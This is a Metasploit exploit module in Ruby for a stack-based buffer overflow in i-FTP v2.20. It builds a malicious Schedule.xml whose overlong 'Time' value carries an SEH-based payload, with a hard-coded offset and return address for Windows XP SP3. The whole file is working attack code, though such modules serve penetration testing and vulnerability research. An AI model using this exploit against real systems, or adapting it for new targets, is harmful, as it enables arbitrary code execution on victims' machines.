require
'msf/core'
require
'rexml/document'
class
Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::
FILEFORMAT
include Msf::Exploit::Remote::Seh
include
REXML
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'i-FTP Schedule Buffer Overflow'
,
'Description'
=> %q{
This
module
exploits a stack-based buffer overflow vulnerability
in
i-Ftp v2.
20
, caused by a long time value set
for
scheduled download.
By persuading the victim to place a specially-crafted Schedule.xml file
in
the i-
FTP
folder, a remote attacker could execute arbitrary code on
the system
or
cause the application to crash. This
module
has been
tested successfully on Windows
XP
SP3
.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'metacom'
,
'Gabor Seljan'
],
'References'
=>
[
[
'EDB'
,
'35177'
],
[
'OSVDB'
,
'114279'
],
],
'DefaultOptions'
=>
{
'ExitFunction'
=>
'process'
},
'Platform'
=>
'win'
,
'Payload'
=>
{
'BadChars'
=>
"\x00\x0a\x0d\x20\x22"
,
'Space'
=>
2000
},
'Targets'
=>
[
[
'Windows XP SP3'
,
{
'Offset'
=>
600
,
'Ret'
=> 0x1001eade
}
]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
'Nov 06 2014'
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'FILENAME'
, [
false
,
'The file name.'
,
'Schedule.xml'
])
],
self
.
class
)
end
def
exploit
evil = rand_text_alpha(target[
'Offset'
])
evil << generate_seh_payload(target.ret)
evil << rand_text_alpha(
20000
)
xml = Document.
new
xml << XMLDecl.
new
(
'1.0'
,
'UTF-8'
)
xml.add_element(
'Schedule'
, {})
xml.elements[
1
].add_element(
'Event'
,
{
'Url'
=>
''
,
'Time'
=>
'EVIL'
,
'Folder'
=>
''
})
sploit =
''
xml.write(sploit,
2
)
sploit = sploit.gsub(/
EVIL
/, evil)
print_status(
"Creating '#{datastore['FILENAME']}' file ..."
)
file_create(sploit)
end
end